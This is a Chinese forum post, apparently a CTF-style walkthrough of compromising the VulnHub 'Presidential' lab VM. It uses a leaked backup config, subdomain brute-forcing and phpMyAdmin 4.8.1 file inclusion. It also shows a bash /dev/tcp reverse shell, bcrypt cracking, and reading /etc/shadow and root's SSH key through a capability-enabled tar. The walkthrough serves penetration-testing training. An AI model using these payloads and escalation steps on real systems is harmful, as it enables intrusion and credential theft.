第二十七次打靶

打印 上一主题 下一主题

主题 847|帖子 847|积分 2541

靶机介绍

1)靶机地址:https://download.vulnhub.com/presidential/Presidential.ova
2)靶机难度:中
3)打靶目标:  取得 root 权限 + 2Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、备份文件、子域名爆破、phpmyadmin、密码爆破、本地文件包含、Capabilities、本地权限漏洞、SSH公钥认证
5)靶机简介:系统运维人员在进行版本更新时,通常会将老版本的文件改名备份一下,以便在出现异常情况时快速回滚。这原本是个好习惯,但如果升级成功后没有及时删除备份文件,则有可能被攻击者所发现,从而泄漏源码和硬编码的机密信息等。本次打靶们将利用这种方法,发现后台数据库的帐号、密码,找到数据库管理后台的登录页面,但由于后台绑定了指定的子域名,因此需要爆破发现该子域名,从而成功访问phpmyadmin登录页面,进而利用phpmyadmin的已知漏洞,通过文件包含漏洞突破边界。在数据库中会发现系统帐号的密码密文,通过密码爆破,将成功登录系统管理员的低权限帐号。进而利用Capabilities权限配置漏洞,将SSH公钥写入靶机root帐号主目录,并最终通过SSH共钥身份认证完全控制目标靶机。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程

1)主机发现
  1. # arp-scan --interface eth1 172.24.10.0/24
复制代码

2)端口扫描
①对目标靶机进行全端口扫描,发现开放了80、2082端口
  1. # nmap -p- 172.24.10.133
复制代码

②对发现的端口进行服务版本、漏洞扫描
  1. # nmap -p80,2082 -sC -sV  172.24.10.133
复制代码

通过扫描发现目标操作系统位centos,使用了PHP5.5.35,使用的请求方法为TRACE;将ssh服务默认的22端口,修改为了2082端口
3)对目标靶机80端口的web服务进行信息搜集
①对网页上能点的链接都进行点击,左上角有一个邮箱地址和域名相关

②将域名进行本地hosts文件解析,解析为目标靶机的IP地址
  1. # vi /etc/hosts
  2. 172.24.10.133 votenow.local
复制代码

③通过域名访问网站,发现和通过IP访问一致

④检查源代码,发现存在一些路径,对文件路径进行逐个检查,以及点击网站中所有可点击的链接,未发现任何有用的信息

⑤对网站路径进行爬取
  1. # dirsearch -u http://votenow.local
复制代码

Ⅰ、对/about.html进行访问,但是点击里面的其他链接,发现均无法打开,并且检查源码无更多信息发现

Ⅱ、访问/config.php,返回的是一个空白页面,说明是一个配置页面,查看源代码也未发现有用信息
  1. #浏览器访问:
  2. http://votenow.local/config.php
复制代码

Ⅲ、查看/config.php.bak文件,通过文件名可知是一个备份文件,检查源码发现隐藏了数据库账号、密码、数据库名
  1. #浏览器访问:
  2. view-source:http://votenow.local/config.php.bak
复制代码

⑥通过ssh利用账号votebox登录目标靶机,密码无法使用,发现目标主机使用公钥身份认证,不支持密码连接ssh服务
  1. # ssh votebox@172.24.10.133 -p 2082
复制代码

⑦因网站首页中包含了域名,因此尝试对靶机进行子域名爆破
  1. # gobuster vhost -u http://votenow.local/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep "Status: 200"
复制代码

通过扫描发现了子域名datasafe.votenow.local
⑧在本地hosts文件中,将域名和靶机IP地址进行绑定
  1. # vim /etc/hosts
  2. 172.24.10.133 datasafe.votenow.local
复制代码

⑨通过访问域名,发现是一个phpmyadmin的页面
  1. #浏览器访问:
  2. http://datasafe.votenow.local
复制代码

⑩输入之前(第五步)发现的用户名votebox和密码casoj3FFASPsbyoRP登录phpmyadmin,发现直接将进入phpadmin后台

5)在votebox库中发现user表,并且存在admin账号和密码
  1. 用户名:admin
  2. 密码:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
复制代码

查看phpmyadmin版本
  1. #浏览器访问:
  2. http://datasafe.votenow.local/README
复制代码

发现phpMyAdmin版本为4.8.1
6)漏洞利用
①通过kali搜索phpmyadmin 4.8.1对应的漏洞利用脚本
  1. #searchsploit phpmyadmin 4.8.1
复制代码

②查看本地文件漏洞利用文档44928.txt
  1. #cat /usr/share/exploitdb/exploits/php/webapps/44928.txt
复制代码

根据上述文档描述,需要先执行SQL语句,之后获取到phpmyadmin的登录会话session,通过连接进行利用
③在phpmyadmin中执行SQL语句
  1. select '<?php phpinfo();exit;?>'
复制代码

④获取到当前页面的session
  1. kf9r6h3q2982gd4638ug6pt84jj6evnk
复制代码

⑤构造payload
  1. http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_kf9r6h3q2982gd4638ug6pt84jj6evnk
  2. 注:需要注意的是在KALI中找到的这个payload  var/lib/php/sessions/多了一个s需要去掉,即将sessions修改为session
复制代码

从上图可知phpinfo代码被执行,说明可以通过pypmyadmin进行执行攻击性代码
7)反弹shell,突破边界
①先退出phpmyadmin,获取到新的session:94qbri339p5on06g24vkj093sjholq6d
②将phpinfo()修改为system("bash -i  >& /dev/tcp  172.24.10.136 4444 0>&1"),执行SQL语句
  1. select '<?php phpinfo();exit;?>'
复制代码

⑦kali进行反弹shell监听,并且继续在浏览器执行上述payload,反弹shell成功,突破边界
  1. #kali主机:
  2. nc -lvvp 4444
  3. #浏览器:
  4. http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_94qbri339p5on06g24vkj093sjholq6d
复制代码

8)提权信息搜集
①通过查看内核版本为3.10.0,尝试通过脏牛漏洞提权,未成功。且未发现sudo权限

②查看用户文件,在/etc/passwd中发现一个admin账号,并且支持登录
  1. $ cat /etc/passwd
复制代码

③尝试对phpmyadmin中发现的admin用户的密码进行hash暴力破解,获取到admin的明文密码
  1. #vi hash
  2. $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
  3. # cp /usr/share/wordlists/rockyou.txt.gz  .
  4. # gunzip rockyou.txt.gz
  5. # john --wordlist=rockyou.txt ./hash
复制代码

通过破解发现,admin用户的明文密码为Stella
④通过su切换至admin用户,密码输入Stella;执行id命令,发现已经是admin用户了
  1. $ su admin
  2. Password: Stella
  3. $id
复制代码

⑤对终端进行升级
  1. which python
  2. python -c "import pty;pty.spawn('/bin/bash')"
复制代码

⑥检查发现admin用户不具备sudo和具有suid权限
  1. $ sudo -l
  2. $ find / -user root -perm -4000 -print 2>/dev/null
复制代码

⑦通过Linux操作系统的capabilities机制进行提权(在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作)
注:Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng;libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities
  1. #查看哪些文件设置了capabilities
  2. $ getcap -r / 2>/dev/null
复制代码

⑧对上述文件按个查看权限,发现/usr/bin/tarS  属主和属组都是admin权限
  1. $ ls -l /usr/bin/tarS
复制代码

⑨通过查案tarS命令发现,该命令就相当于tar命令的用法
  1. $ tarS --help
复制代码

因tarS文件capabilities具备机制,因此可以不受操作系统文件系统的限制,可以读取和搜索操作系统中所有的文件
9)提权
①尝试获取root用户在密码文件中保存的hash密文进行暴力破解,未破解出密码
  1. cd
  2. tarS  -cvf shadow.tar /etc/shadow
  3. tar -xvf shadow.tar
  4. cd etc/
  5. chmod 700 shadow
  6. cat shadow
复制代码

②尝试通过tarS命令,读取root用户的私钥
  1. $cd
  2. $tarS -cvf root.tar /root/.ssh/id_rsa
  3. $tar -xvf root.tar
  4. $cat root/.ssh/id_rsa
复制代码

③通过root用户的私钥,直接登录目标靶机
  1. $ ssh -i id_rsa root@localhost -p 2082
  2. #ls -l
  3. # cat root-final-flag.txt
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小小小幸运

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表